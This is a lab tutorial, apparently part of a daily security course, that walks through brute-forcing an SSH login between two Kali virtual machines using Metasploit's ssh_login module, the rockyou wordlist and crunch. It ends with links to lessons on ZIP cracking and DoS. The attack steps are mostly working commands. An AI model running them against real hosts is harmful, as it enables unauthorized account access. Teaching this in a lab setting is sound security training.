[Day 12] 1. SSH Password Cracking Brute Force
Setup:
-
Environment Preparation:
- Have two virtual machines running Kali Linux or any Debian-based.
- One machine will act as the target (running SSH service) and the other as the attacker (running Metasploit).
- Ensure that both the machines are in the same network and are able to ping to each other.
-
Ensure SSH is Enabled on the Target Machine:
-
Start the SSH service on the target machine:
bashsudo service ssh start -
Confirm SSH is running:
bashsudo netstat -tuln | grep 22 -
Note the target machine's IP address:
baship a
-
-
Install Necessary Tools:
-
Ensure Metasploit is installed on the attacker machine:
bashmsfconsole
-
Steps to Perform Brute Force Attack:
-
Start Metasploit Framework:
-
Launch Metasploit on the attacker machine:
bashmsfconsole
-
-
Load the SSH Login Module:
-
Use the Metasploit SSH login auxiliary module:
bashuse auxiliary/scanner/ssh/ssh_login
-
-
Set Target Parameters:
-
Set the target IP address:
bashset RHOSTS <Target_IP> -
Specify the username to attempt login:
bashset USERNAME <username>Replace
with the actual username you want to test.<username>
-
-
Specify the Wordlist for Passwords:
-
Use a pre-existing password list or create one:
bashset PASS_FILE /usr/share/wordlists/rockyou.txt -
Ensure the
file is uncompressed:rockyou.txtbashgunzip /usr/share/wordlists/rockyou.txt.gz
- You can also use your own password list:
-
bashcrunch 4 4 0123456789 -o password.txt
-
Set the Number of Threads:
-
To speed up the process, set multiple threads:
bashset THREADS 4
-
-
Initiate the Attack:
-
Start the brute force attack:
bashrun -
Metasploit will iterate through the password list, trying to log in using the provided username.
-
-
Analyze Results:
-
If a correct password is found, it will be displayed in the output:
[SUCCESS] <Target_IP>:22 - Success: '<username>:<password>'
-
Post-Attack Cleanup:
-
Stop the SSH Service on the Target (Optional):
bashsudo service ssh stop -
Document Findings:
- Note the cracked credentials and include them in your report.
-
Ethical Responsibility:
- Avoid causing harm or retaining unauthorized access to systems. Inform relevant authorities or owners about the findings if it’s a penetration test.
Read Next
[Day 12] 2. Cracking ZIP file password using fcrackzip
#### **1. Prepare Your Environment** 1. **Install `fcrackzip`:** - `fcrackzip` is pre-installed on most Kali Linux distributions. If not...
[Day 12] 3. DoS using msfconsole
#### **1. Prepare Your Environment** 1. **Target Setup:** - Identify the target machine's IP address: ```bash...